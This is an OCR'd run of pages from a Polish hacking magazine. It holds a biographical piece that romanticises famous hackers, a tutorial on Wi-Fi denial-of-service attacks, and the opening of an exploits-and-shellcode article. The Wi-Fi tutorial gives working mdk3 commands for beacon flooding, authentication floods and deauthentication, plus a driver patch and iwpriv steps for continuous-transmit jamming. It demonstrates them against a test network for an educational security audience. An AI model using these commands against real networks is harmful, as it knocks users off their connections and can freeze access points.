burzliwy charakter, po ukończeniu szkoły średniej rozpoczął studia. To właśnie tam po raz pierwszy mógł korzystać z nowoczesnych jak na owe czasy komputerów. Zgłębiając tajniki systemu, oprogramowania i programowania, w 1982 roku wraz z kolegą z uczelni (Lenny DiCicco) włamują się do komputerów Uniwersytetu Południowej Kalifornii. Tam przeglądają zastrzeżone konta i pr ywatną korespondencję elektroniczną oraz przemierzają sieć za darmo. Zdarzenie to zakończyło się osadzeniem włamywacza w więzieniu dla młodocianych w Stockton na okres sześciu miesięcy. Nie doszłoby do tego, jednak Kevin Mitnick otrzymał wcześniej wyrok w zawieszeniu. Włamanie do systemów uczelni zostało uznane za złamanie warunków dozoru. To właśnie tam psycholodzy określają Mitnicka jako aspołecznego i nieagresywnego. Ponadto stwierdzono – mylnie, jak się okaże w niedalekiej przyszłości – że ten młody człowiek ma niewielką zdolność przewidywania i osądzania, natomiast psychicznie jest z całą pewnością niedojrzały. W 1985 roku Mitnick zapisuje się na kurs komputerowy w renomowanej szkole technicznej. Niestety, kontakt ze znajomymi z gangu, do którego wcześniej należał, wpędził go w kolejne kłopoty. Tym razem, udając pracownika technicznego, dostaje się do budynku Narodowego Centrum Bezpieczeństwa Komputerowego (NCSC). Zdobywa hasło i dostęp do systemu. Kevin Mitnick, mając za sobą spor y bagaż doświadczenia, postanawia jednak znaleźć legalną pracę w jednej z powstających firm komputerowych. Pomimo swoich umiejętności odnosi klęskę. Nie przewidział bowiem, że pracodawcy traktują hakerów jak najgroźniejszych kr yminalistów. W obawie o dane własnych firm, wszystkie podania są kolejno odrzucane. Dla Mitnicka oznacza to jedno – aby przeżyć, musi powrócić do tego, w czym jest najlepszy – do włamań komputerowych. Tego samego roku uzyskuje dostęp do firmy Santa Cruz Operation (SCO). Wywołało to panikę wśród zarządu firmy, próbowano pójść na ugodę w zamian za ujawnienie metody włamania. Kiedy jednak nic z tego nie wyszło, sprawa
trafiła do sądu i zakończyła się wyrokiem. Chociaż haker otrzymał trzy lata dozoru policyjnego, nie zmieniło to jego podejścia do włamań, wręcz przeciwnie. Niedoskonałe jeszcze prawo – w odniesieniu do hakingu – spowodowało, że Kevin Mitnick poczuł się pewniej niż kiedykolwiek. Wraz z przyjacielem DiCiccio włamuje się do firmy Digital Equipment w Massachussets. Celem był kod źródłowy systemu operacyjnego VMS. Operacja ta uważana jest powszechnie za idealny przykład hakerskiego majstersztyku. Niejeden reżyser filmowy wykorzystał ten motyw. Hakerzy musieli być bardzo ostrożni. Mitnick pracował jednocześnie na dwóch komputerach. Pierwszy służył do włamywania się, natomiast drugi do jednoczesnego zacierania śladów obecności i zmylenia pościgu. Choć udało się dostać do wewnętrznej sieci, akcja kończy się jednak niepowodzeniem. Ale czy całkowitym? Jak widać z dalszego życior ysu tego zuchwałego hakera – nie. Dzięki niej nabrał pewności siebie i wiar y we własne umiejętności. Po zakończeniu przymusowej terapii, wyznaczonej przez sąd (zabroniono mu dotykać klawiatur y komputerowej i telefonicznej), w 1990 roku Mitnick zatrudnia się w firmie detektywistycznej TelTec. I tym razem nie udało się zapomnieć o hakerskim życiu. Po raz kolejny posądzono go o włamanie i został zmuszony do ukr ywania się. Kevin Mitnick zrozumiał, że jego życie nierozerwalnie związane zostało z tzw. undergroundem i jedynie wśród takich jak on ma szansę przetrwać. Niedługo po tym zdarzeniu rozpoczął się najsłynniejszy pojedynek hakerów w dziejach informatyki. Głównymi bohaterami byli oczywiście Kevin Mitnick i Tsutomu Shimomura. Trudno określić, co było jego przyczyną. Prawdopodobnie uznanie byłego hakera, któr y przeszedł na stronę władz – Shimomur y – najlepszym ekspertem w dziedzinie zabezpieczeń. Niektórzy dopatr ywali się w nim w pewnym sensie szer yfa odpowiedzialnego za pilnowanie ładu i porządku w Sieci. Niemożliwym jest rozsądzenie wyższości jednego lub drugiego specjalisty. Warto jednak podkreślić, że wiedza 4/2009 HAKIN9
19
POCZATKI Mitnicka (o czym doskonale wiedział) nie była skromniejsza niż Shimomur y. Jednocześnie drażniło go, że musi się ukr ywać, podczas gdy jego r ywal podbija serca administratorów i właścicieli firm komputerowych. Mitnick postanowił udowodnić swoje umiejętności. W 1994 roku do komputera w Centrum Superkomputerów w San Diego włamał się nieznany sprawca. Okazało się, że atak wymierzony był w konkretnego użytkownika. Jak łatwo się domyślić, był nim Tsutomu Shimomura. Na koncie mailowym znajdowała się wiadomość z nagraniem, w któr ym zmodulowany głos prowokował Tsutomu do podjęcia działań. Policzek był tym dotkliwszy, że osoba z zewnątrz dostała się do danych znajdujących się na komputerze, nad któr ym pieczę sprawował najlepszy ekspert w Stanach Zjednoczonych. Oprócz nagrania Kevin Mitnick skopiował cenne dane z dysku twardego Shimomur y, wśród któr ych znajdowały się projekty tworzone na zamówienie, np. program Berkley Packet Filter służący do prowadzenia komputerowej obserwacji (zleceniodawcą była Narodowa Agencja Bezpieczeństwa USA). Pierwsze starcie wygrał Mitnick. Błędem Shimomur y było zbagatelizowanie tej sprawy. Zabezpieczył jedynie swój system. Dopiero 27 stycznia 1995 roku przypadek sprawił, że Tsutomu ponownie zainteresował się r ywalem. Rutynowa kontrola systemu w firmie WELL – amer ykańskiego dostawcy Internetu – wykazała, że na jednym z nieużywanych kont znajdują się tysiące nowych plików, a wśród nich skradzione wcześniej projekty Shimomur y i dwadzieścia tysięcy numerów kart kredytowych wykradzionych firmie NetCom. Na miejsce zostaje wezwany ich prawowity właściciel. Od tego momentu prior ytetem dla Tsutomu było schwytanie Mitnicka i udowodnienie dzięki temu swojej wyższości. Po trwającej kilka dni walce w cyfrowym świecie dopiął swego. 16 lutego 1995 roku odbyła się rozprawa, która zakończyła karierę Kevina Mitnicka – ale media o nim nie zapomniały. Każdego hakera najlepiej określają słowa Christophera Matthew Lamprechta, wypowiedziane 20
HAKIN9 4/2009
w momencie, kiedy dowiedział się, jaka kara spotka go za dokonane przestępstwa: Komputery to moje życie, nie mogę bez nich przetrwać! . Dla 24letniego młodzieńca groźba pozbawienia wolności na okres pięciu lat i dodatkowo trzyletni zakaz korzystania z komputera, była na tyle okrutna, że zażył około stu tabletek nasennych. Próba samobójcza nie udała się, Lamprecht został w porę odratowany. Skazano go w 1995 roku, lecz – jak się wszyscy dziwili – nie za przestępstwa komputerowe, ale sprzedaż części elektronicznych do central telekomunikacyjnych. Początków karier y hakerskiej Lamprechta często upatruje się we wczesnej młodości. Przekonanie to budzi jednak pewne kontrowersje. Przede wszystkim trudno dopatr ywać się czegokolwiek związanego z hakingiem w zwyczajnym zainteresowaniu komputerami, elektroniką i nowinkami ze świata techniki. Mieszkając w mieście – Austin – w któr ym swoje siedziby mają takie korporacje, jak IBM, AMD, Dell czy Motorola, rzeczą całkowicie normalną jest chęć zgłębienia swojej wiedzy z zakresu informatyki. Należy pamiętać, że Christopher Lamprecht zaczynał jako handlarz podzespołami elektronicznymi. Dla niego była to alternatywa od trudów codziennego życia w rozbitej rodzinie. Dopiero kiedy odkr ył świat komputerów, oczarowała go magia cyberprzestrzeni. Pierwszym przejawem zdolności hakerskich było włamanie się do szkolnego systemu i próba zmiany ocen. Zadania tego typu jeszcze przerastały Lamprechta, wskutek czego zajął się rozprowadzaniem nielegalnych kopii gier komputerowych. Nie wystarczyło to jednak młodemu Christopherowi. Postanowił spróbować sił w modnym wówczas phreakingu. Dzięki wiedzy, którą udało mu się w bardzo krótkim czasie opanować do perfekcji, mógł wraz z siostrą dzwonić bez ograniczeń po całym świecie. Aby ułatwić sobie zadanie, napisał doskonały jak na owe czasy – jeden z najbardziej znanych – program o nazwie ToneLoc. Był to jeden z tzw. war-dialerów, służących do sprawdzania możliwości połączenia się z innym modemem. Problem Lamprechta polegał na tym, że zbyt
łatwo ulegał wpływom, zwłaszcza osób o podobnych zainteresowaniach. Zaczął włamywać się do laboratoriów komputerowych, jednak nie przez sieć, ale w rzeczywistości. Wszystko po to, aby choćby przez chwilę móc pograć w najnowsze, niepublikowane wersje gier komputerowych lub obejrzeć nowoczesny sprzęt. Częstym celem jego odwiedzin były laboratoria firmy telekomunikacyjnej Southwestern Bell. Niedojrzałe podejście tego hakera do życia było jedną z głównych przyczyn jego późniejszego aresztowania. Kiedy Lamprecht poznał Jasona Copsona (pseudonim Scott Berr y), stał się on jego autor ytetem. Traktował go niemalże jak starszego brata – to właśnie od Copsona uczył się technik hakingu i poznał jego arkana. Wraz z Davidem Querinem i Mikem Daileyem hakerzy okradali centrale telefoniczne i handlowali częściami elektronicznymi. W 1992 roku aresztowano Lamprechta i Copsona. Przed oblicze sądu Christopher trafiał jeszcze parokrotnie, jednak nałożona na niego w 1994 roku kara – zakaz dostępu do Internetu – była kr ytykowana przez zadziwiająco dużą część opinii publicznej. Uważano, że posunięcie takie powoduje zacofanie wśród więźniów i należy się go wystrzegać. Sąd jednak nie zmienił ani nie uchylił wyroku. Choć wydawałoby się, że haker jest osobą raczej pochmurną, zapatrzoną w ekran komputera, w rzeczywistości jest zupełnie inaczej. Są to zdecydowanie ludzie z poczuciem humoru. Doskonałym dowodem tego jest Kevin Poulsen, uznawany w swoich kręgach za osobę silnie nacechowaną pogoda ducha. Często określano go jako 24-godzinnego hakera, co miało odzwierciedlać jego zamiłowanie do komputerów. Poulsen dysponował ogromną wiedzą i umiejętnościami, co w odniesieniu do administratorów czyniło z niego przeciwnika prawie doskonałego. Pozwalała na to praca asystenta programisty. Do obowiązków Poulsena należało włamywanie się do systemów Pentagonu w celu przetestowania ich zabezpieczeń. Inaczej jednak wyglądało nocne życie hakera. Wykorzystując doświadczenie zdobyte między innymi
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI! w pracy, włamywał się do komputerów wojskowych, podsłuchiwał rozmowy znanych ludzi i przeglądał akta z procesu prowadzonego przez FBI w sprawie byłego prezydenta Filipin – Ferdinanda Marcosa. Pierwszy raz skazano Kevina Poulsena w 1989 roku – za oszustwa, włamania do systemów telefonicznych i wyłudzenia. To jednak nie wszystko. Jego nadmierna ciekawość doprowadziła do postawienia mu najważniejszego zarzutu – o szpiegostwo. Podstawą do takiego oskarżenia było włamanie do systemów wojskowych i przechwycenie planów bojowych amer ykańskich sił lotniczych. Zachowując dwa dokumenty, resztę zniszczył. To właśnie pozostawione pliki stały się przyczyną całego zamieszania. Ukr ywając się przed policją przez 18 miesięcy, nałogowy haker rozwijał swoje umiejętności i pogłębiał wiedzę. Poulsen wpadł na doskonały pomysł, jak zarobić ogromne pieniądze, i to prawie uczciwie. Pewna stacja radiowa w Los Angeles emitowała w każdy piątkowy poranek program, w któr ym można było wygrać nagrody o dużej wartości, np. samochód marki Porsche. Trzeba było jednak spełnić pewien warunek, a mianowicie być sto drugą dzwoniącą osobą. Wystarczyło zablokować centrale Pacific Bell prowadzące do stacji. Tak właśnie zrobił wraz z kolegami Kevin Poulsen. Teraz z odpowiedziami mogli dodzwonić się już tylko oni. W ten sposób stali się posiadaczami dwóch samochodów Porsche 944, wycieczki na Hawaje i dużej sumy pieniędzy. Idealna synchronizacja i szczegółowo obmyślany plan zaowocował sukcesem. FBI określiło Poulsena jako groźnego przestępcę, a 10 kwietnia 1995 roku skazano go na 51 miesięcy pozbawienia wolności i grzywnę w wysokości 56 tysięcy dolarów. Wśród elity hakerów trudno znaleźć osobę podobną do Roberta Morrisa Tappana i oddaną swojej pasji tak jak on. Wbrew pozorom to postać niewinna. Mając dwadzieścia trzy lata jest absolwentem studiów doktoranckich na wydziale informatyki na Uniwersytecie Cornell. Wcześniej zdobył tytuł magistra na Uniwersytecie Harvard. Nigdy nie był karany, nie zajmował się hakingiem. Jak zatem doszło do tego, że stał się
jednym z największych włamywaczy komputerowych? We wszystkim zawiniło jego nietypowe zamiłowanie do wykr ywania wszelkich błędów i niedociągnięć systemów operacyjnych. Postanowił napisać program, dzięki któremu będzie miał możliwość choćby częściowego zautomatyzowania swojej pracy. Nie wiedział jeszcze wtedy, że będzie to jedna z najdotkliwszych bolączek użytkowników Internetu – tzw. robak. Pisanie kodu zakończył w 1988 roku. Chociaż program składał się zaledwie ze stu linii kodu, okazał się niezwykle skuteczny w swoim działaniu. Chcąc przetestować dzieło, 2 listopada Morris wpuścił robaka do sieci, uruchamiając go z jednego z serwerów Uniwersytetu Harvard. Wystarczyły zaledwie dwie godziny, aby uniemożliwić dostanie się do systemów części administratorów. Efektem były tak liczne odłączenia komputerów od sieci, że równowaga Internetu została przywrócona dopiero 10 listopada. Zainfekowanych zostało ponad 6 tysięcy komputerów klasy Sun 3 i VAX. Szkody szacowano nawet na kwotę do 10 milionów dolarów. Czy haking może wiązać się w jakikolwiek sposób z heroizmem? Właściwie nie, jednak od każdej reguły zdarzają się wyjątki. Tak też było w przypadku Ehuda Tenebauma. Ten niezwykle utalentowany osiemnastolatek cechuje się niecodziennym podejściem do włamań komputerowych. Choć większość z nich zakończyła się powodzeniem, nigdy nie kopiował i nie rozpowszechniał zawartości dysków, do któr ych uzyskał dostęp. Większość atakowanych serwerów stanowiły serwer y wojskowe. Tenebaum wybierał je, ponieważ stanowiły dla niego większe wyzwanie. To jednak nie wszystko. Wielokrotnie ofiarą młodego hakera padały serwisy z pornografią dziecięcą, rasistowskie i prowadzone przez organizacje terror ystyczne. W wieku osiemnastu lat – 1998 rok – Analyzer (taki pseudonim nosił Tenebaum) włamał się do komputerów Pentagonu. Informacja o tym wyczynie obiegła świat i na stałe wpisała się w historię hakingu, któr y stał się czymś, co moglibyśmy nazwać sztuką.
Podsumowanie
Cyberprzestrzeń rządzi się własnymi prawami. Możemy jednak dostrzec pewne podobieństwa z realnym światem. Haker jest obywatelem tej przestrzeni. Jest rodzajem buntownika, który pragnie zrozumieć istniejące prawa, nieustannie dąży do wiedzy. Najbardziej atrakcyjna wydaje mu się informacja utajniona, gdyż uważa on, że wiedza powinna być dostępna dla każdego. Podstawową bronią hakerów nie są karabiny, bomby czy granaty. Ich bronią jest wiedza i niezwykła sprawność intelektualna. Potrafią bez problemu rozwiązywać rozmaite zagadki i tajemnice, ponieważ niejednokrotnie spoglądają na nie oczami dziecka, bez podtekstów – są tylko oni i problem, który należy rozwiązać. Wyzwanie to mechanizm napędzający całe życie hakerów. Motywacją nie są pieniądze i bogactwa, bo te są w stanie zdobyć. Jest nią nieuniknione pragnienie sprawdzenia samego siebie. Ktoś powie, że łamią zabezpieczenia chroniące prywatność. I będzie miał rację, ale w jaki inny sposób można takie zabezpieczenia sprawdzić? Jak je udoskonalić, skoro nie będzie wiadomo, gdzie są ich słabe punkty? Inna osoba powie, że to zwyczajni przestępcy, włamujący się do cudzych systemów i kradnący dane. Haker nie kradnie danych, nie kasuje ich. System pozostawia w stanie nienaruszonym. W takim razie kim są ci, którzy wyłudzają pieniądze, kradną je z kont lub pozyskują w sposób nieuczciwy, wykorzystując w tym celu komputery i sieci? Z całą pewnością nie są hakerami, a jedynie cyberprzestępcami i złodziejami. Biorąc pod uwagę fakt, że haking to dążenie do zdobycia wiedzy, nie wolno zapomnieć o takich osobach, jak Linus Benedict Torvalds czy Richard Matthew Stallman. Nie łamali oni prawa, są wielkimi postaciami, które warto naśladować. Nie należy jednak z gór y przekreślać ludzi przedstawionych wcześniej, ponieważ wszystkich ich łączył wspólny cel – wiedza i wolność informacji. Łukasz Ciesielski
Autor od lat zajmuje się systemami z rodziny Linuksa, zwłaszcza Debianem i Slackware. W wolnych chwilach pisze programy w C/C++, Javie, Pythonie, Pascalu (także z wykorzystaniem bibliotek Qt i GTK). Od kilku lat autor zajmuje się zabezpieczeniami sieci i systemu. Kontakt z autorem: [email protected]. 4/2009 HAKIN9
21
ATAK Niekonwencjo -nalne ataki Wi-Fi
NORBERT KOZŁOWSKI
Stopień trudności
Niewiele osób zna sposoby na skuteczne zakłócenie działania całej sieci bezprzewodowej pomimo, że znają pojęcia typu łamanie klucza WEP, fałszywa autentykacja MAC czy przechwycenie 4-way handshake.
J
ako główne narzędzie wykorzystamy aplikację mdk3 stworzoną przez ASPj. Używanie jej ułatwia pracę, ponieważ zaimplementowane zostały w niej gotowe schematy pakietów 802.11, które w innym wypadku musielibyśmy tworzyć ręcznie. Oczywiście możemy jej używać tylko po uprzedniej konsultacji z administratorem sieci i otrzymaniem przyzwolenia. Nasz poligon to sieć o SSID Khozzy_ Network , pracująca na 14 kanale. Do sieci podłączony jest klient. Dla stworzenia fikcyjnych zabezpieczeń zastosowałem także popularne szyfrowanie WEP. Poniżej przedstawię składnię programu oraz kilka przykładowych ataków wraz ze skutkami. Mdk3, jak widać po wprowadzeniu do konsoli samej
nazwy programu, należy wywołać jako root , w postaci: # mdk3
Jako interfejs należy podać nazwę urządzenia pracującego w trybie RF_MON (analogia trybu promiscuous dla sieci LAN). Aby wprowadzić kartę w ten tryb, należy wydać następujące polecenia: # iwconfig mode Monitor
lub dla kart na chipsecie Atheros: # airmon-ng stop ath0
# airmon-ng start wifi0
lub: # wlanconfig ath0 destroy
# wlanconfig ath0 create wlandev wifi0
wlanmode monitor (dla sterowników madwifi)
Poprzez rozumiemy rodzaj ataku, jaki chcemy wykonać. Jest to jedna litera, kojarząca się z nazwą techniki, np. b dla Beacon Flood Mode lub d dla Deauthentication Mode. Argument ten podany jest w ramce opisującej parametry danego ataku lub też w pomocy, którą możemy wywołać, wpisując polecenie:
Z ARTYKUŁU DOWIESZ SIĘ jak w praktyczny sposób wykorzystać luki bezpieczeństwa w standardzie 802.11.
CO POWINIENEŚ WIEDZIEĆ mieć ogólne pojęcie o zasadzie działania sieci bezprzewodowej. 22
HAKIN9 4/2009
Rysunek 1. Dostępne sieci, widoczne przy użyciu systemowego narzędzia Windows XP
# mdk3 --fullhelp
NIEKONWENCJONALNE ATAKI WI-FI Beacon Flood Mode
Pierwszym sposobem ataku, na któr y zwrócimy uwagę, jest Beacon Flood Mode. Użycie go spowoduje wysłanie w eter fałszywych ramek typu beacon w celu rozgłoszenia obecności fikcyjnych punktów dostępowych. W praktyce atak stosowany jest, by uniemożliwić STA przyłączenie się do właściwego AP (tworzona jest ogromna ilość fikcyjnych
AP i bardzo ciężko trafić jest na ten właściwy). Twórcy programu ostrzegają, iż takie działanie może zakłócić wskazania programów monitorujących zachowanie sieci oraz nawet uszkodzić sterowniki sprzętu. Atak możemy wykonać z użyciem kilku parametrów, dzięki któr ym dostosujemy nasz fałszywy AP do wymaganej sytuacji. Wykonajmy więc niezbędne polecenia i zobaczmy,
jakie będą ich rezultaty na komputerze z zainstalowanym Windows XP SP2. W konsoli wpisujemy: # mdk3 ath1 b -w -c 4
Na komputerze ofiary pojawia się bałagan. Szukając dostępnych, sieci zarówno standardowym narzędziem systemowym, jak i NetworkStumblerem, otrzymujemy
Ramki 802.11
Standard IEE 802.11 zdefiniował szereg ramek używanych w pakietach w celu usprawnienia komunikacji między poszczególnymi stacjami sieci. Każda ramka posiada kilka pól określających warunki panujące w sieci (np. wersja używanego protokołu, aktywne zabezpieczenia WEP), dodatkowo w każdej w jawny sposób przedstawiony jest adres MAC celu, źródła oraz punktu dostępowego. Ramki zostały podzielone na kilka podtypów:
* Authentication frame
Wymiana tych pakietów ma miejsce, gdy do Access Pointa (AP) zostaje podłączona nowa stacja robocza (STA). W razie braku szyfrowania STA wysyła jeden pakiet Authentication, na który generowana jest automatycznie jedna odpowiedź (akceptacja bądź odrzucenie) AP. W razie stosowania szyfrowania WEP, AP odpowiada z użyciem zaszyfrowanego tekstu i oczekuje na prawidłowo zinterpretowaną odpowiedź STA. Gdy ją otrzyma, oznacza to pomyślne przeprowadzenie procesu uwierzytelnienia.
* Deauthentication frame
Pakiet Deauthentication wysyłany jest przez STA w celu zakończenia aktualnego połączenia.
* Association Request frame
STA rozpoczyna proces asocjacji, wysyłając pakiet Association Request zawierający informacje o stacji (np. SSID, adres MAC) do AP. Ten, po ich przeanalizowaniu, może zezwolić (lub nie – np. w przypadku filtrowania adresów MAC) na pełne przyłączenie do sieci.
* Association Response frame
AP po pozytywnej weryfikacji STA ubiegającej się o dostęp do sieci przesyła pakiet Association Response, zawierający informacje potrzebne do nawiązania połączenia oraz przydziela STA unikalny numer ID. W razie odmowy, STA nie zostaje przyznany dostęp do sieci.
* Reassociation Request frame
Gdy STA zlokalizuje AP o wyższej sile sygnału, automatycznie wyśle pakiet (Reassociation Request) proszący o ponowne przyłączenie do silniejszego nadajnika w celu poprawienia jakości przesyłania danych.
* Reassociation Response frame
Podobnie jak w przypadku Association Response, nowy AP może zaakceptować i udzielić dostępu do sieci lub odrzucić połączenie.
* Disassociation frame
Pakiet Disassociation wysyłany jest przez STA do innych STA lub AP i informuje o przerwaniu połączenia z siecią. Gdy komputer jest wyłączany, tego rodzaju pakiety są transmitowane do AP, który zwalnia miejsce w pamięci oraz aktualizuje dane o bieżących połączeniach.
* Beacon frame
Co 100 milisekund AP rozgłasza swoją obecność w eterze poprzez wysyłanie tzw. Beacon frames. Zawierają one informacje niezbędne do przeprowadzenia procesu uwierzytelnienia i asocjacji oraz pozwalają określić zasięg działania sieci.
* Probe Request frame
STA wysyła prośby Probe do innego STA lub AP w celu uzyskania informacji takich jak np. dane o obecności AP.
* Probe Response frame
STA wysyła odpowiedź na prośbę Probe zawierającą dane (m.in. prędkość, kompatybilność) potrzebne do uzyskania połączenia z siecią znajdującą się w zasięgu.
4/2009 HAKIN9
23
ATAK wyniki podobne do pokazanych na Rysunkach 1 oraz 2. Nazwy SSID wybierane były losowo, więc bez problemu można dostrzec właściwą nazwę (Khozzy_Network), teraz jednak skomplikujemy nieco sytuację:
nad połączeniami przenoszonymi w powietrzu i możemy decydować o tym, kiedy je zakończyć. Deauthentication Mode może wyrzucić z sieci wszystko
w swoim zasięgu. Oczywiście atak wysyła podrobione przez nas ramki Deauthentication. Ramka Parametry Deauthentication
# mdk3 ath1 b -n "Khozzy_Network" -w -c 4
Windows nie wie, który AP jest poprawny i odmawia połączenia (Rysunki 3 i 4). Cel zostaje osiągnięty.
Authentication DoS Mode
Drugi atak polega na przyłączeniu do AP bardzo dużej ilości STA poprzez wysyłanie ramek Authentication. Atak ten może zamrozić lub uszkodzić niektóre AP. Opcje, z jakimi możemy go wywołać, są zaprezentowane w ramce Parametry Authentication DoS Mode (a). Zobaczmy, jak wygląda sytuacja przed, w trakcie i po ataku. W tym celu użyjemy aplikacji airodump-ng, aby na bieżąco śledzić zachowanie klientów korzystających z sieci.
Rysunek 2. Dostępne sieci, widoczne przy użyciu aplikacji NetworkStumbler
# airodump-ng -c 4 --bssid 00:04:ED: 78:C7:6A ath1
Jak widać, na Rysunku 5, do AP przyłączony jest tylko jeden klient o adresie MAC 00:11:95:68:5C:90. Wykonajmy atak, wpisując poniższe polecenie w drugiej konsoli, i zobaczmy, jak wpłynie ono na okno programu. # mdk3 ath1 a -a 00:04:ED:78:
C7:6A
Access Point musi utrzymywać połączenie z rosnącą z każdą chwilą liczbą fałszywych klientów (Rysunki 6 oraz 7). Po pewnym czasie skutkuje to zawieszeniem się AP.
Deauthentication Mode
Mój ulubiony atak. Nie sposób mu zapobiec. Mamy całkowitą kontrolę
Rysunek 3. NetworkStumbler widzi dużą liczbę sieci o tym samym identyfikatorze
Parametry Deauthentication Mode (d) • • • •
24
-w – biała lista adresów MAC STA, które nie będą atakowane, -b – czarna lista MAC, te adresy mdk3 atakuje, -s – liczba pakietów przesyłanych w czasie jednej sekundy, -c – praca na określonym kanale (zwiększa efektywność ataku), jeśli kanał nie jest określony, program przeskakuje przez wszystkie możliwe kanały pracy karty sieciowej.
HAKIN9 4/2009
NIEKONWENCJONALNE ATAKI WI-FI Mode (d) wskazuje, w jaki sposób można konfigurować atak. # mdk3 ath1 d
W mojej testowej sieci znajduje się jeden bezprzewodowy klient. Po wykonaniu ataku momentalnie zostaje od niej odłączony. Atak jest domyślnie cały czas wykonywany, ponieważ STA po rozłączeniu będzie próbowała ponownie łączyć się z AP (Rysunek 8).
Secret Destruction Mode
Na zagranicznych forach poświęconych bezpieczeństwu sieci bezprzewodowych możemy się spotkać z określeniem Secret Destruction Mode. Jest to połączenie wyżej wymienionych ataków, czyli kombinacja złożona z: •
ataku Beacon Flood, generującego fałszywe AP z podrobionym SSID-em, ataku Authentication DoS, wymierzonemu przeciw prawdziwemu AP (z opcją -i), który spowoduje, że serwer może być zbyt obciążony odpowiedziami do fałszywych klientów, aby obsłużyć żądanie prawdziwego użytkownika, ataku Deauthentication, powodujący odcięcie od sieci tych, którzy zdążyli się jakimś cudem połączyć z prawdziwym AP.
•
•
Rysunek 4. System Windows odmawia połączenia się z docelową siecią po wykonaniu ataku
Rysunek 5. Sieć Khozzy_Network z jednym przyłączonym klientem
Rysunek 6. Atakt Authentication DoS Mode
Parametry Authentication DoS Mode (a) • • • •
-a – adres MAC AP ofiary, w przypadku niesprecyzowania go zaatakowane zostaną wszystkie AP w zasięgu, -c – nie sprawdza powodzenia ataku, -i – inteligentny test (opcje -a i -c są ignorowane). Różni się tym, iż fałszywe STA są cały czas podłączone do AP poprzez wysyłanie pakietów podtrzymujących połączenie, -s – określa liczbę pakietów przesyłanych w czasie jednej sekundy.
4/2009 HAKIN9
25
ATAK Sekwencja działająca przez kilkanaście minut, pomimo dezaktywacji wszystkich
klientów, powoduje zamęt w niektórych systemach wykrywania intruzów.
Ciekawym efektem było całkowite zamrożenie AP (brak reakcji na przycisk reset na obudowie urządzenia!). Jedynym sposobem przywrócenia pierwotnego stanu działania było wyjęcie wtyczki z gniazdka i oczekiwanie na zaprzestanie ataku przez intruza.
Queensland DoS
Prawdopodobnie najbardziej niszczycielski atak na sieci bezprzewodowe. Jeżeli karta zostanie wprowadzona w tryb ciągłej transmisji na danym kanale (ang. continuous transmit mode), cały ruch zostanie wstrzymany. Klienci będą zmuszeni zresetować swoje połączenia lub komputery.
Wykonanie ataku na kartach z chipsetem Atheros: •
Pobranie źródeł madwifi-dfs
Rysunek 7. Fałszywe STA zostały przyłączone do AP dzięki atakowi Authentication DoS # svn checkout http://svn.madwifi.org/ branches/madwifi-dfs/
•
Modyfikacja pliku if_ath_radar.c
# nano madwifi-dfs/ath/if_ath_radar.c
Z lini 152 usuwamy 'inline' z prototypu funkcji interval _ to _ frequency. Z lini
W Sieci •
•
•
Rysunek 8. Proces rozłączania STA od AP. Atak Deauthentication
Parametry Beacon Flood Mode (b) • • • • • • • • •
26
http://www.networld.pl/news/91312/Nowy .standard.bezpiecznej.komunikacji.bezpr zewodowej.html – zapowiedź standardu 802.11w, http://www.networkworld.com/ columnists/2006/052906-wirelesssecurity.html – oficjalna strona standardu 802.11w, http://pl.wikipedia.org/wiki/802.11 – informacje o standardach 802.11.
-n – określa identyfikator spoofowanej sieci (w przeciwnym wypadku użyte zostaną losowe znaki), -f – określa plik z zapisanymi SSID umożliwiającymi podszywanie się pod sieć, -d – sieć rozgłasza się jako Ad-hoc, -w – sieć rozgłasza się jako szyfrowana kluczem WEP, -t – jak wyżej, tylko WPA TKIP, -a – jak wyżej, tylko WPA AES, -h – sieci pracują na różnych kanałach, -c – określony kanał pracy, -s – określa ile pakietów zostanie wysłane w ciągu sekundy.
HAKIN9 4/2009
NIEKONWENCJONALNE ATAKI WI-FI 851 usuwany 'inline' z deklaracji funkcji interval _ to _ frequency. •
Kompilacja i instalacja
# make && make install
•
Uruchomienie karty
# ifconfig ath0 up
•
Ustawienie wymaganego kanału pracy
# iwconfig ath0 channel 6
•
Uruchomienie trybu ciągłego nadawania
# iwpriv ath0 txcont 1
•
Zatrzymanie trybu ciągłego nadawania
# iwpriv ath0 txcont 0
Wykonanie ataku na kartach z chipsetem Prism: Atak może być wykonany z użyciem graficznego interfejsu aplikacji Win32 – Prism Test Utility. Wystarczy tylko wybrać odpowiedni interfejs i nacisnąć przycisk Continuous Tx. Aby zdobyć wspomnianą aplikację, należy przeszukać sieć pod kątem pliku PrismTestUtil322. Prawidłowe sumy kontrolne dla rozszerzenia .zip to: a7c04ff2783f94e1f60dc45425b926d0
a dla .exe : 0088fd7f41dc972935bb7bb6d546b8de .
Podsumowanie
Artykuł ukazuje, jak niedopracowany jest obecny standard bezprzewodowej wymiany danych. Praktycznie każda osoba zaopatrzona w kartę bezprzewodową umożliwiającą pracę w trybie Monitor, mająca możliwość wstrzykiwania pakietów oraz posiadająca odrobinę wiedzy niezbędnej do wykonania ataku, jest w stanie zakłócić działanie całej sieci. Rozwiązaniem może okazać się zaimplementowanie własnych poprawek, dodatkowej weryfikacji STA w sieci bezprzewodowej lub oczekiwanie na wprowadzenie nowego standardu IEE 802.11w (datowanego na grudzień 2009). Specyfikacja obejmuje 4 mechanizmy bezpieczeństwa. Chronione będą ramki Unicast (ramki zarządzania wymieniane między STA i AP), ramki Broadcast, Deauthentication oraz Disassociation. Norbert Kozłowski
Wolne chwile wykorzystuje na pogłębienie wiedzy z zakresu bezprzewodowej wymiany danych, elementów języków programowania (Perl, Ansi C) oraz podstawowych aspektów bezpieczeństwa. Członek grupy u-Crew. Kontakt z autorem: [email protected] 4/2009 HAKIN9
27
ATAK PIOTR JASTAK
Exploity i shellcode Stopień trudności
Exploit to francuskie słowo oznaczające osiągnięcie. Większości osób zainteresowanych tematyką bezpieczeństwa komputerowego Exploit kojarzyć się będzie raczej z wykorzystaniem słabości oprogramowania źle napisanego pod kątem bezpieczeństwa. Poznanie głównych zasad działania exploitów, a także shellcodów, jest dobrym wstępem do analizy świata zabezpieczeń komputerowych.
E
Z ARTYKUŁU DOWIESZ SIĘ czym są exploity i shellcody, jak działają ataki przepełniające bufor, jakie są typy ataków przepełniających.
CO POWINIENEŚ WIEDZIEĆ znać podstawy assemblera, znać sposoby obsługi wywołań funkcji na poziomie procesora. 28
HAKIN9 4/2009
